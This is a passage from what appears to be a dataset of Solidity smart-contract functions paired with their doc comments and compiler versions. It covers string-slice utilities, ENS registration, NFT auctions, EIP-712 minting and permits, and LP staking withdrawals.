slice memory rune) internal pure returns (slice memory) {\r\n rune._ptr = self._ptr;\r\n\r\n if (self._len == 0) {\r\n rune._len = 0;\r\n return rune;\r\n }\r\n\r\n uint l;\r\n uint b;\r\n // Load the first byte of the rune into the LSBs of b\r\n assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }\r\n if (b < 0x80) {\r\n l = 1;\r\n } else if(b < 0xE0) {\r\n l = 2;\r\n } else if(b < 0xF0) {\r\n l = 3;\r\n } else {\r\n l = 4;\r\n }\r\n\r\n // Check for truncated codepoints\r\n if (l > self._len) {\r\n rune._len = self._len;\r\n self._ptr += self._len;\r\n self._len = 0;\r\n return rune;\r\n }\r\n\r\n self._ptr += l;\r\n self._len -= l;\r\n rune._len = l;\r\n return rune;\r\n }", "version": "0.6.6"} {"comment": "/*\r\n * @dev Returns true if `self` starts with `needle`.\r\n * @param self The slice to operate on.\r\n * @param needle The slice to search for.\r\n * @return True if the slice starts with the provided text, false otherwise.\r\n */", "function_code": "function startsWith(slice memory self, slice memory needle) internal pure returns (bool) {\r\n if (self._len < needle._len) {\r\n return false;\r\n }\r\n\r\n if (self._ptr == needle._ptr) {\r\n return true;\r\n }\r\n\r\n bool equal;\r\n assembly {\r\n let length := mload(needle)\r\n let selfptr := mload(add(self, 0x20))\r\n let needleptr := mload(add(needle, 0x20))\r\n equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))\r\n }\r\n return equal;\r\n }", "version": "0.6.6"} {"comment": "/*\r\n * @dev If `self` starts with `needle`, `needle` is removed from the\r\n * beginning of `self`. Otherwise, `self` is unmodified.\r\n * @param self The slice to operate on.\r\n * @param needle The slice to search for.\r\n * @return `self`\r\n */", "function_code": "function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {\r\n if (self._len < needle._len) {\r\n return self;\r\n }\r\n\r\n bool equal = true;\r\n if (self._ptr != needle._ptr) {\r\n assembly {\r\n let length := mload(needle)\r\n let selfptr := mload(add(self, 0x20))\r\n let needleptr := mload(add(needle, 0x20))\r\n equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))\r\n }\r\n }\r\n\r\n if (equal) {\r\n self._len -= needle._len;\r\n self._ptr += needle._len;\r\n }\r\n\r\n return self;\r\n }", "version": "0.6.6"} {"comment": "// Returns the memory address of the first byte of the first occurrence of\n// `needle` in `self`, or the first byte after `self` if not found.", "function_code": "function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {\r\n uint ptr = selfptr;\r\n uint idx;\r\n\r\n if (needlelen <= selflen) {\r\n if (needlelen <= 32) {\r\n bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));\r\n\r\n bytes32 needledata;\r\n assembly { needledata := and(mload(needleptr), mask) }\r\n\r\n uint end = selfptr + selflen - needlelen;\r\n bytes32 ptrdata;\r\n assembly { ptrdata := and(mload(ptr), mask) }\r\n\r\n while (ptrdata != needledata) {\r\n if (ptr >= end)\r\n return selfptr + selflen;\r\n ptr++;\r\n assembly { ptrdata := and(mload(ptr), mask) }\r\n }\r\n return ptr;\r\n } else {\r\n // For long needles, use hashing\r\n bytes32 hash;\r\n assembly { hash := keccak256(needleptr, needlelen) }\r\n\r\n for (idx = 0; idx <= selflen - needlelen; idx++) {\r\n bytes32 testHash;\r\n assembly { testHash := keccak256(ptr, needlelen) }\r\n if (hash == testHash)\r\n return ptr;\r\n ptr += 1;\r\n }\r\n }\r\n }\r\n return selfptr + selflen;\r\n }", "version": "0.6.6"} {"comment": "/*\r\n * @dev Modifies `self` to contain everything from the first occurrence of\r\n * `needle` to the end of the slice. `self` is set to the empty slice\r\n * if `needle` is not found.\r\n * @param self The slice to search and modify.\r\n * @param needle The text to search for.\r\n * @return `self`.\r\n */", "function_code": "function find(slice memory self, slice memory needle) internal pure returns (slice memory) {\r\n uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);\r\n self._len -= ptr - self._ptr;\r\n self._ptr = ptr;\r\n return self;\r\n }", "version": "0.6.6"} {"comment": "/*\r\n * @dev Splits the slice, setting `self` to everything after the first\r\n * occurrence of `needle`, and `token` to everything before it. If\r\n * `needle` does not occur in `self`, `self` is set to the empty slice,\r\n * and `token` is set to the entirety of `self`.\r\n * @param self The slice to split.\r\n * @param needle The text to search for in `self`.\r\n * @param token An output parameter to which the first token is written.\r\n * @return `token`.\r\n */", "function_code": "function split(slice memory self, slice memory needle, slice memory token) internal pure returns (slice memory) {\r\n uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);\r\n token._ptr = self._ptr;\r\n token._len = ptr - self._ptr;\r\n if (ptr == self._ptr + self._len) {\r\n // Not found\r\n self._len = 0;\r\n } else {\r\n self._len -= token._len + needle._len;\r\n self._ptr = ptr + needle._len;\r\n }\r\n return token;\r\n }", "version": "0.6.6"} {"comment": "/*\r\n * @dev Counts the number of nonoverlapping occurrences of `needle` in `self`.\r\n * @param self The slice to search.\r\n * @param needle The text to search for in `self`.\r\n * @return The number of occurrences of `needle` found in `self`.\r\n */", "function_code": "function count(slice memory self, slice memory needle) internal pure returns (uint cnt) {\r\n uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len;\r\n while (ptr <= self._ptr + self._len) {\r\n cnt++;\r\n ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len;\r\n }\r\n }", "version": "0.6.6"} {"comment": "/*\r\n * @dev Joins an array of slices, using `self` as a delimiter, returning a\r\n * newly allocated string.\r\n * @param self The delimiter to use.\r\n * @param parts A list of slices to join.\r\n * @return A newly allocated string containing all the slices in `parts`,\r\n * joined with `self`.\r\n */", "function_code": "function join(slice memory self, slice[] memory parts) internal pure returns (string memory) {\r\n if (parts.length == 0)\r\n return \"\";\r\n\r\n uint length = self._len * (parts.length - 1);\r\n for(uint i = 0; i < parts.length; i++)\r\n length += parts[i]._len;\r\n\r\n string memory ret = new string(length);\r\n uint retptr;\r\n assembly { retptr := add(ret, 32) }\r\n\r\n for(uint i = 0; i < parts.length; i++) {\r\n memcpy(retptr, parts[i]._ptr, parts[i]._len);\r\n retptr += parts[i]._len;\r\n if (i < parts.length - 1) {\r\n memcpy(retptr, self._ptr, self._len);\r\n retptr += self._len;\r\n }\r\n }\r\n\r\n return ret;\r\n }", "version": "0.6.6"} {"comment": "// Works like address.send but with a customizable gas limit\n// Make sure your code is safe for reentrancy when using this function!", "function_code": "function sendETH(\r\n address to,\r\n uint amount,\r\n uint gasLimit\r\n )\r\n internal\r\n returns (bool success)\r\n {\r\n if (amount == 0) {\r\n return true;\r\n }\r\n address payable recipient = to.toPayable();\r\n /* solium-disable-next-line */\r\n (success, ) = recipient.call{value: amount, gas: gasLimit}(\"\");\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @dev Lets the manager assign an ENS subdomain of the root node to a target address.\r\n * Registers both the forward and reverse ENS.\r\n * @param _owner The owner of the subdomain.\r\n * @param _label The subdomain label.\r\n * @param _approval The signature of _owner and _label by a manager.\r\n */", "function_code": "function register(\r\n address _owner,\r\n string calldata _label,\r\n bytes calldata _approval\r\n )\r\n external\r\n override\r\n onlyManager\r\n {\r\n verifyApproval(_owner, _label, _approval);\r\n\r\n bytes32 labelNode = keccak256(abi.encodePacked(_label));\r\n bytes32 node = keccak256(abi.encodePacked(rootNode, labelNode));\r\n address currentOwner = getENSRegistry().owner(node);\r\n require(currentOwner == address(0), \"AEM: _label is alrealdy owned\");\r\n\r\n // Forward ENS\r\n getENSRegistry().setSubnodeOwner(rootNode, labelNode, address(this));\r\n getENSRegistry().setResolver(node, ensResolver);\r\n getENSRegistry().setOwner(node, _owner);\r\n ENSResolver(ensResolver).setAddr(node, _owner);\r\n\r\n // Reverse ENS\r\n strings.slice[] memory parts = new strings.slice[](2);\r\n parts[0] = _label.toSlice();\r\n parts[1] = rootName.toSlice();\r\n string memory name = \".\".toSlice().join(parts);\r\n bytes32 reverseNode = getENSReverseRegistrar().node(_owner);\r\n ENSResolver(ensResolver).setName(reverseNode, name);\r\n\r\n emit Registered(_owner, name);\r\n }", "version": "0.6.6"} {"comment": "// Special case for transactCall to support transfers on \"bad\" ERC20 tokens", "function_code": "function transactTokenTransfer(\r\n address wallet,\r\n address token,\r\n address to,\r\n uint amount\r\n )\r\n internal\r\n returns (bool success)\r\n {\r\n bytes memory txData = abi.encodeWithSelector(\r\n ERC20(0).transfer.selector,\r\n to,\r\n amount\r\n );\r\n bytes memory returnData = transactCall(wallet, token, 0, txData);\r\n // `transactCall` will revert if the call was unsuccessful.\r\n // The only extra check we have to do is verify if the return value (if there is any) is correct.\r\n if (returnData.length > 0) {\r\n success = abi.decode(returnData, (bool));\r\n } else {\r\n // If there is no return value then a failure would have resulted in a revert\r\n success = true;\r\n }\r\n }", "version": "0.6.6"} {"comment": "/// @dev Collects tokens and ether owned by this module to a controlled address.\n/// @param tokens The list of tokens and ether to collect.", "function_code": "function collectTokens(address[] calldata tokens)\r\n external\r\n nonReentrant\r\n {\r\n address to = controller.collectTo();\r\n\r\n for (uint i = 0; i < tokens.length; i++) {\r\n address token = tokens[i];\r\n if (token == address(0)) {\r\n uint amount = address(this).balance;\r\n to.sendETHAndVerify(amount, gasleft());\r\n } else {\r\n uint amount = ERC20(token).balanceOf(address(this));\r\n if (amount > 0) {\r\n // Do not check the return value to support \"bad\" ERC20 tokens\r\n ERC20(token).transfer(to, amount);\r\n }\r\n }\r\n }\r\n }", "version": "0.6.6"} {"comment": "/// @dev Returns a read-only array with the addresses stored in the call data\n/// at the specified function parameter index.\n/// Example: function bar(address[] signers, uint value);\n/// To extact `signers` use parameterIdx := 0\n/// Example: function foo(address wallet, address[] signers, address[] contracts);\n/// To extact `signers` use parameterIdx := 1\n/// To extact `contracts` use parameterIdx := 2", "function_code": "function extractAddressesFromCallData(\r\n bytes memory data,\r\n uint parameterIdx\r\n )\r\n internal\r\n pure\r\n returns (address[] memory addresses)\r\n {\r\n // Find the offset of the function parameter in the call data\r\n uint dataOffset = data.toUint(4 + 32 * parameterIdx);\r\n // Make sure enough bytes are in data to store the complete array\r\n uint length = data.toUint(4 + dataOffset);\r\n require(data.length >= 4 + dataOffset + 32 * (1 + length), \"INVALID_DATA\");\r\n // Extract the signers by copying the pointer at the beginning of the array\r\n // An extra offset of 36 is applied: 32(length) + 4(sig)\r\n assembly { addresses := add(data, add(36, dataOffset)) }\r\n }", "version": "0.6.6"} {"comment": "/// @dev Save the meta-transaction to history.\n/// This method must throw if the transaction is not unique or the nonce is invalid.\n/// @param wallet The target wallet.\n/// @param nonce The nonce\n/// @param metaTxHash The signed hash of the transaction", "function_code": "function saveExecutedMetaTx(\r\n address wallet,\r\n uint nonce,\r\n bytes32 metaTxHash\r\n )\r\n private\r\n {\r\n if (nonce == 0) {\r\n require(!wallets[wallet].metaTxHash[metaTxHash], \"INVALID_HASH\");\r\n wallets[wallet].metaTxHash[metaTxHash] = true;\r\n } else {\r\n require(nonce > wallets[wallet].nonce, \"NONCE_TOO_SMALL\");\r\n require((nonce >> 128) <= (block.number), \"NONCE_TOO_LARGE\");\r\n wallets[wallet].nonce = nonce;\r\n }\r\n }", "version": "0.6.6"} {"comment": "// @dev Adds to the list of open auctions and fires the\n// AuctionCreated event.\n// @param _cutieId The token ID is to be put on auction.\n// @param _auction To add an auction.\n// @param _fee Amount of money to feature auction", "function_code": "function _addAuction(uint40 _cutieId, Auction _auction) internal\r\n {\r\n // Require that all auctions have a duration of\r\n // at least one minute. (Keeps our math from getting hairy!)\r\n require(_auction.duration >= 1 minutes);\r\n\r\n cutieIdToAuction[_cutieId] = _auction;\r\n \r\n emit AuctionCreated(\r\n _cutieId,\r\n _auction.startPrice,\r\n _auction.endPrice,\r\n _auction.duration,\r\n _auction.featuringFee\r\n );\r\n }", "version": "0.4.21"} {"comment": "// @dev Calculates the price and transfers winnings.\n// Does not transfer token ownership.", "function_code": "function _bid(uint40 _cutieId, uint128 _bidAmount)\r\n internal\r\n returns (uint128)\r\n {\r\n // Get a reference to the auction struct\r\n Auction storage auction = cutieIdToAuction[_cutieId];\r\n\r\n require(_isOnAuction(auction));\r\n\r\n // Check that bid > current price\r\n uint128 price = _currentPrice(auction);\r\n require(_bidAmount >= price);\r\n\r\n // Provide a reference to the seller before the auction struct is deleted.\r\n address seller = auction.seller;\r\n\r\n _removeAuction(_cutieId);\r\n\r\n // Transfer proceeds to seller (if there are any!)\r\n if (price > 0) {\r\n uint128 fee = _computeFee(price);\r\n uint128 sellerValue = price - fee;\r\n\r\n seller.transfer(sellerValue);\r\n }\r\n\r\n emit AuctionSuccessful(_cutieId, price, msg.sender);\r\n\r\n return price;\r\n }", "version": "0.4.21"} {"comment": "// @dev calculate current price of auction. \n// When testing, make this function public and turn on\n// `Current price calculation` test suite.", "function_code": "function _computeCurrentPrice(\r\n uint128 _startPrice,\r\n uint128 _endPrice,\r\n uint40 _duration,\r\n uint40 _secondsPassed\r\n )\r\n internal\r\n pure\r\n returns (uint128)\r\n {\r\n if (_secondsPassed >= _duration) {\r\n return _endPrice;\r\n } else {\r\n int256 totalPriceChange = int256(_endPrice) - int256(_startPrice);\r\n int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration);\r\n uint128 currentPrice = _startPrice + uint128(currentPriceChange);\r\n \r\n return currentPrice;\r\n }\r\n }", "version": "0.4.21"} {"comment": "// @dev return current price of token.", "function_code": "function _currentPrice(Auction storage _auction)\r\n internal\r\n view\r\n returns (uint128)\r\n {\r\n uint40 secondsPassed = 0;\r\n\r\n uint40 timeNow = uint40(now);\r\n if (timeNow > _auction.startedAt) {\r\n secondsPassed = timeNow - _auction.startedAt;\r\n }\r\n\r\n return _computeCurrentPrice(\r\n _auction.startPrice,\r\n _auction.endPrice,\r\n _auction.duration,\r\n secondsPassed\r\n );\r\n }", "version": "0.4.21"} {"comment": "// @dev create and begin new auction.", "function_code": "function createAuction(uint40 _cutieId, uint128 _startPrice, uint128 _endPrice, uint40 _duration, address _seller)\r\n public whenNotPaused payable\r\n {\r\n require(_isOwner(msg.sender, _cutieId));\r\n _escrow(msg.sender, _cutieId);\r\n Auction memory auction = Auction(\r\n _startPrice,\r\n _endPrice,\r\n _seller,\r\n _duration,\r\n uint40(now),\r\n uint128(msg.value)\r\n );\r\n _addAuction(_cutieId, auction);\r\n }", "version": "0.4.21"} {"comment": "// @dev Returns auction info for a token on auction.\n// @param _cutieId - ID of token on auction.", "function_code": "function getAuctionInfo(uint40 _cutieId)\r\n public\r\n view\r\n returns\r\n (\r\n address seller,\r\n uint128 startPrice,\r\n uint128 endPrice,\r\n uint40 duration,\r\n uint40 startedAt,\r\n uint128 featuringFee\r\n ) {\r\n Auction storage auction = cutieIdToAuction[_cutieId];\r\n require(_isOnAuction(auction));\r\n return (\r\n auction.seller,\r\n auction.startPrice,\r\n auction.endPrice,\r\n auction.duration,\r\n auction.startedAt,\r\n auction.featuringFee\r\n );\r\n }", "version": "0.4.21"} {"comment": "// @dev create and start a new auction\n// @param _cutieId - ID of cutie to auction, sender must be owner.\n// @param _startPrice - Price of item (in wei) at the beginning of auction.\n// @param _endPrice - Price of item (in wei) at the end of auction.\n// @param _duration - Length of auction (in seconds).\n// @param _seller - Seller", "function_code": "function createAuction(\r\n uint40 _cutieId,\r\n uint128 _startPrice,\r\n uint128 _endPrice,\r\n uint40 _duration,\r\n address _seller\r\n )\r\n public\r\n payable\r\n {\r\n require(msg.sender == address(coreContract));\r\n _escrow(_seller, _cutieId);\r\n Auction memory auction = Auction(\r\n _startPrice,\r\n _endPrice,\r\n _seller,\r\n _duration,\r\n uint40(now),\r\n uint128(msg.value)\r\n );\r\n _addAuction(_cutieId, auction);\r\n }", "version": "0.4.21"} {"comment": "/**\r\n \t * @notice Add a token ID to the list of a given address\r\n \t * @dev Throws if the receiver address has hit ownership limit or the PixelCon already has an owner\r\n \t * @param _to Address representing the new owner of the given token ID\r\n \t * @param _tokenId ID of the token to be added to the tokens list of the given address\r\n \t */", "function_code": "function addTokenTo(address _to, uint256 _tokenId) internal\r\n\t{\r\n\t\tuint64[] storage ownedList = ownedTokens[_to];\r\n\t\tTokenLookup storage lookupData = tokenLookup[_tokenId];\r\n\t\trequire(ownedList.length < uint256(2 ** 32) - 1, \"Max number of PixelCons per owner has been reached\");\r\n\t\trequire(lookupData.owner == address(0), \"PixelCon already has an owner\");\r\n\t\tlookupData.owner = _to;\r\n\r\n\t\t//update ownedTokens references\r\n\t\tuint ownedListIndex = ownedList.length;\r\n\t\townedList.length++;\r\n\t\tlookupData.ownedIndex = uint32(ownedListIndex);\r\n\t\townedList[ownedListIndex] = lookupData.tokenIndex;\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n * @notice see IMedia\r\n */", "function_code": "function mintWithSig(\r\n address creator,\r\n MediaData memory data,\r\n IMarket.BidShares memory bidShares,\r\n EIP712Signature memory sig\r\n ) public override nonReentrant {\r\n require(\r\n sig.deadline == 0 || sig.deadline >= block.timestamp,\r\n \"Media: mintWithSig expired\"\r\n );\r\n\r\n bytes32 domainSeparator = _calculateDomainSeparator();\r\n\r\n bytes32 digest =\r\n keccak256(\r\n abi.encodePacked(\r\n \"\\x19\\x01\",\r\n domainSeparator,\r\n keccak256(\r\n abi.encode(\r\n MINT_WITH_SIG_TYPEHASH,\r\n data.contentHash,\r\n data.metadataHash,\r\n bidShares.creator.value,\r\n mintWithSigNonces[creator]++,\r\n sig.deadline\r\n )\r\n )\r\n )\r\n );\r\n\r\n address recoveredAddress = ecrecover(digest, sig.v, sig.r, sig.s);\r\n\r\n require(\r\n recoveredAddress != address(0) && creator == recoveredAddress && (owner() == recoveredAddress || authorized[recoveredAddress]),\r\n \"Media: Signature invalid\"\r\n );\r\n\r\n _mintForCreator(recoveredAddress, data, bidShares);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice See IMedia\r\n * @dev This method is loosely based on the permit for ERC-20 tokens in EIP-2612, but modified\r\n * for ERC-721.\r\n */", "function_code": "function permit(\r\n address spender,\r\n uint256 tokenId,\r\n EIP712Signature memory sig\r\n ) public override nonReentrant onlyExistingToken(tokenId) {\r\n require(\r\n sig.deadline == 0 || sig.deadline >= block.timestamp,\r\n \"Media: Permit expired\"\r\n );\r\n require(spender != address(0), \"Media: spender cannot be 0x0\");\r\n bytes32 domainSeparator = _calculateDomainSeparator();\r\n\r\n bytes32 digest =\r\n keccak256(\r\n abi.encodePacked(\r\n \"\\x19\\x01\",\r\n domainSeparator,\r\n keccak256(\r\n abi.encode(\r\n PERMIT_TYPEHASH,\r\n spender,\r\n tokenId,\r\n permitNonces[ownerOf(tokenId)][tokenId]++,\r\n sig.deadline\r\n )\r\n )\r\n )\r\n );\r\n\r\n address recoveredAddress = ecrecover(digest, sig.v, sig.r, sig.s);\r\n\r\n require(\r\n recoveredAddress != address(0) &&\r\n ownerOf(tokenId) == recoveredAddress,\r\n \"Media: Signature invalid\"\r\n );\r\n\r\n _approve(spender, tokenId);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice Creates a new token for `creator`. Its token ID will be automatically\r\n * assigned (and available on the emitted {IERC721-Transfer} event), and the token\r\n * URI autogenerated based on the base URI passed at construction.\r\n *\r\n * See {ERC721-_safeMint}.\r\n *\r\n * On mint, also set the sha256 hashes of the content and its metadata for integrity\r\n * checks, along with the initial URIs to point to the content and metadata. Attribute\r\n * the token ID to the creator, mark the content hash as used, and set the bid shares for\r\n * the media's market.\r\n *\r\n * Note that although the content hash must be unique for future mints to prevent duplicate media,\r\n * metadata has no such requirement.\r\n */", "function_code": "function _mintForCreator(\r\n address creator,\r\n MediaData memory data,\r\n IMarket.BidShares memory bidShares\r\n ) internal onlyValidURI(data.tokenURI) onlyValidURI(data.metadataURI) {\r\n require(data.contentHash != 0, \"Media: content hash must be non-zero\");\r\n require(\r\n _contentHashes[data.contentHash] == false,\r\n \"Media: a token has already been created with this content hash\"\r\n );\r\n require(\r\n data.metadataHash != 0,\r\n \"Media: metadata hash must be non-zero\"\r\n );\r\n\r\n uint256 tokenId = _tokenIdTracker.current();\r\n\r\n _safeMint(creator, tokenId);\r\n _tokenIdTracker.increment();\r\n _setTokenContentHash(tokenId, data.contentHash);\r\n _setTokenMetadataHash(tokenId, data.metadataHash);\r\n _setTokenMetadataURI(tokenId, data.metadataURI);\r\n _setTokenURI(tokenId, data.tokenURI);\r\n _creatorTokens[creator].add(tokenId);\r\n _contentHashes[data.contentHash] = true;\r\n\r\n tokenCreators[tokenId] = creator;\r\n previousTokenOwners[tokenId] = creator;\r\n IMarket(marketContract).setBidShares(tokenId, bidShares);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Calculates EIP712 DOMAIN_SEPARATOR based on the current contract and chain ID.\r\n */", "function_code": "function _calculateDomainSeparator() internal view returns (bytes32) {\r\n uint256 chainID;\r\n /* solium-disable-next-line */\r\n assembly {\r\n chainID := chainid()\r\n }\r\n\r\n return\r\n keccak256(\r\n abi.encode(\r\n keccak256(\r\n \"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\"\r\n ),\r\n keccak256(bytes(\"Arto\")),\r\n keccak256(bytes(\"1\")),\r\n chainID,\r\n address(this)\r\n )\r\n );\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Withdraw ERC-20 token of this contract\r\n */", "function_code": "function withdrawToken(address tokenAddress) external onlyOwner contractActive{\r\n require(tokenAddress != address(0), \"Contract address is zero address\");\r\n require(tokenAddress != address(this), \"Can not transfer self token\");\r\n \r\n IERC20Token tokenContract = IERC20Token(tokenAddress);\r\n uint tokenBalance = tokenContract.balanceOf(address(this));\r\n require(tokenBalance > 0, \"Balance is zero\");\r\n \r\n tokenContract.transfer(owner, tokenBalance);\r\n }", "version": "0.7.4"} {"comment": "// Withdraw LP tokens or claim rewrads if amount is 0", "function_code": "function withdraw(uint256 _pid, uint256 _amount) public {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n require(user.amount >= _amount, \"withdraw: not good\");\r\n updatePool(_pid);\r\n uint256 pending = user.amount.mul(pool.accSheeshaPerShare).div(1e12).sub(user.rewardDebt);\r\n safeSheeshaTransfer(msg.sender, pending);\r\n if(_amount > 0) {\r\n uint256 feePercent = 4;\r\n //2 years\r\n if(block.timestamp <= user.checkpoint.add(730 days)) {\r\n //4-> unstake fee interval\r\n feePercent = uint256(100).sub(getElapsedMonthsCount(user.checkpoint).mul(4));\r\n }\r\n uint256 fees = _amount.mul(feePercent).div(100);\r\n user.amount = user.amount.sub(_amount);\r\n pool.lpToken.safeTransfer(feeWallet, fees);\r\n pool.lpToken.safeTransfer(address(msg.sender), _amount.sub(fees));\r\n }\r\n user.rewardDebt = user.amount.mul(pool.accSheeshaPerShare).div(1e12);\r\n emit Withdraw(msg.sender, _pid, _amount);\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev Internal function to remove a token ID from the list of a given address\r\n * Note that this function is left internal to make ERC721Enumerable possible, but is not\r\n * intended to be called by custom derived contracts: in particular, it emits no Transfer event,\r\n * and doesn't clear approvals.\r\n * @param from address representing the previous owner of the given token ID\r\n * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address\r\n */", "function_code": "function _removeTokenFrom(address from, uint256 tokenId) internal {\r\n require(ownerOf(tokenId) == from);\r\n _ownedTokensCount[from] = _ownedTokensCount[from].sub(1);\r\n _tokenOwner[tokenId] = address(0);\r\n // To prevent a gap in the array, we store the last token in the index of the token to delete, and\r\n // then delete the last slot.\r\n uint256 tokenIndex = _ownedTokensIndex[tokenId];\r\n uint256 lastTokenIndex = _ownedTokens[from].length.sub(1);\r\n uint256 lastToken = _ownedTokens[from][lastTokenIndex];\r\n\r\n _ownedTokens[from][tokenIndex] = lastToken;\r\n // This also deletes the contents at the last position of the array\r\n _ownedTokens[from].length--;\r\n\r\n // Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to\r\n // be zero. Then we can make sure that we will remove tokenId from the ownedTokens list since we are first swapping\r\n // the lastToken to the first position, and then dropping the element placed in the last position of the list\r\n\r\n _ownedTokensIndex[tokenId] = 0;\r\n _ownedTokensIndex[lastToken] = tokenIndex;\r\n }", "version": "0.4.24"} {"comment": "///\n/// Giveaway\n///", "function_code": "function giveaway(address _to, uint256 _amount) external onlyOwner {\n require(tokenCount + _amount <= supply, \"Not enough supply\");\n require(_amount < giveawaySupply, \"Giving away too many NFTs\");\n require(_amount > 0, \"Amount must be greater than zero\");\n\n _mintPrivate(_to, _amount);\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev burn : To decrease total supply of tokens\r\n */", "function_code": "function burn(uint256 _amount) public onlyOwner returns (bool) {\r\n require(_amount >= 0, \"Invalid amount\");\r\n require(_amount <= balances[msg.sender], \"Insufficient Balance\");\r\n _totalSupply = safeSub(_totalSupply, _amount);\r\n balances[owner] = safeSub(balances[owner], _amount);\r\n emit Transfer(owner, address(0), _amount);\r\n return true;\r\n }", "version": "0.6.0"} {"comment": "// deploy a staking reward contract for the staking token, and store the reward amount\n// the reward will be distributed to the staking reward contract no sooner than the genesis", "function_code": "function deploy(address stakingToken, address collectionAddress, uint rewardAmount) public onlyOwner {\r\n StakingRewardsInfo storage info = stakingRewardsInfoByStakingToken[stakingToken];\r\n require(info.stakingRewards == address(0), 'StakingRewardsFactory::deploy: already deployed');\r\n\r\n info.stakingRewards = address(new StakingRewards(/*_rewardsDistribution=*/ address(this), rewardsToken, stakingToken, collectionAddress));\r\n info.rewardAmount = rewardAmount;\r\n// info.collectionAddress = collectionAddress;\r\n stakingTokens.push(stakingToken);\r\n }", "version": "0.5.17"} {"comment": "// notify reward amount for an individual staking token.\n// this is a fallback in case the notifyRewardAmounts costs too much gas to call for all contracts", "function_code": "function notifyRewardAmount(address stakingToken) public {\r\n require(block.timestamp >= stakingRewardsGenesis, 'StakingRewardsFactory::notifyRewardAmount: not ready');\r\n\r\n StakingRewardsInfo storage info = stakingRewardsInfoByStakingToken[stakingToken];\r\n require(info.stakingRewards != address(0), 'StakingRewardsFactory::notifyRewardAmount: not deployed');\r\n\r\n if (info.rewardAmount > 0) {\r\n uint rewardAmount = info.rewardAmount;\r\n info.rewardAmount = 0;\r\n\r\n require(\r\n IERC20(rewardsToken).transfer(info.stakingRewards, rewardAmount),\r\n 'StakingRewardsFactory::notifyRewardAmount: transfer failed'\r\n );\r\n StakingRewards(info.stakingRewards).notifyRewardAmount(rewardAmount);\r\n }\r\n }", "version": "0.5.17"} {"comment": "// calculate price based on pair reserves", "function_code": "function getUSDValue() public view returns(uint256)\r\n {\r\n IUniswapV2Pair pair = IUniswapV2Pair(usdPair);\r\n\r\n if(pair.token0() != WETH){\r\n (uint Res0, uint Res1,) = pair.getReserves();\r\n // decimals\r\n uint res1 = Res1 * 1 ether;\r\n return( res1 / Res0 ); // return amount of token0 needed to buy token1\r\n }\r\n else{\r\n (uint Res1, uint Res0,) = pair.getReserves();\r\n uint res1 = Res1 * 1 ether;\r\n return( res1 / Res0 ); // return amount of token0 needed to buy token1\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Creates an upgradeable proxy\r\n * @param version representing the first version to be set for the proxy\r\n * @return address of the new proxy created\r\n */", "function_code": "function createProxy(\r\n uint256 version,\r\n address _primaryOwner,\r\n address _systemAddress,\r\n address _authorityAddress,\r\n address _registryaddress\r\n ) public onlyOneOfOnwer() returns (address) {\r\n require(proxyAddress == address(0), \"ERR_PROXY_ALREADY_CREATED\");\r\n\r\n UpgradeabilityProxy proxy = new UpgradeabilityProxy(version);\r\n\r\n VaultProxyInitializeInterface(address(proxy)).initialize(\r\n _primaryOwner,\r\n _systemAddress,\r\n _authorityAddress,\r\n _registryaddress\r\n );\r\n\r\n currentVersion = version;\r\n proxyAddress = address(proxy);\r\n emit ProxyCreated(address(proxy));\r\n return address(proxy);\r\n }", "version": "0.5.9"} {"comment": "// ============ DVM Functions (create & add liquidity) ============", "function_code": "function createDODOVendingMachine(\r\n address baseToken,\r\n address quoteToken,\r\n uint256 baseInAmount,\r\n uint256 quoteInAmount,\r\n uint256 lpFeeRate,\r\n uint256 i,\r\n uint256 k,\r\n bool isOpenTWAP,\r\n uint256 deadLine\r\n )\r\n external\r\n override\r\n payable\r\n preventReentrant\r\n judgeExpired(deadLine)\r\n returns (address newVendingMachine, uint256 shares)\r\n {\r\n {\r\n address _baseToken = baseToken == _ETH_ADDRESS_ ? _WETH_ : baseToken;\r\n address _quoteToken = quoteToken == _ETH_ADDRESS_ ? _WETH_ : quoteToken;\r\n newVendingMachine = IDODOV2(_DVM_FACTORY_).createDODOVendingMachine(\r\n _baseToken,\r\n _quoteToken,\r\n lpFeeRate,\r\n i,\r\n k,\r\n isOpenTWAP\r\n );\r\n }\r\n\r\n {\r\n address _baseToken = baseToken;\r\n address _quoteToken = quoteToken;\r\n _deposit(\r\n msg.sender,\r\n newVendingMachine,\r\n _baseToken,\r\n baseInAmount,\r\n _baseToken == _ETH_ADDRESS_\r\n );\r\n _deposit(\r\n msg.sender,\r\n newVendingMachine,\r\n _quoteToken,\r\n quoteInAmount,\r\n _quoteToken == _ETH_ADDRESS_\r\n );\r\n }\r\n\r\n (shares, , ) = IDODOV2(newVendingMachine).buyShares(msg.sender);\r\n }", "version": "0.6.9"} {"comment": "/*\r\n 1 - if the funding of the project Failed, allows investors to claim their locked ether back.\r\n 2 - if the Investor votes NO to a Development Milestone Completion Proposal, where the majority\r\n also votes NO allows investors to claim their locked ether back.\r\n 3 - project owner misses to set the time for a Development Milestone Completion Meeting allows investors\r\n to claim their locked ether back.\r\n */", "function_code": "function canCashBack() public view requireInitialised returns (bool) {\r\n\r\n // case 1\r\n 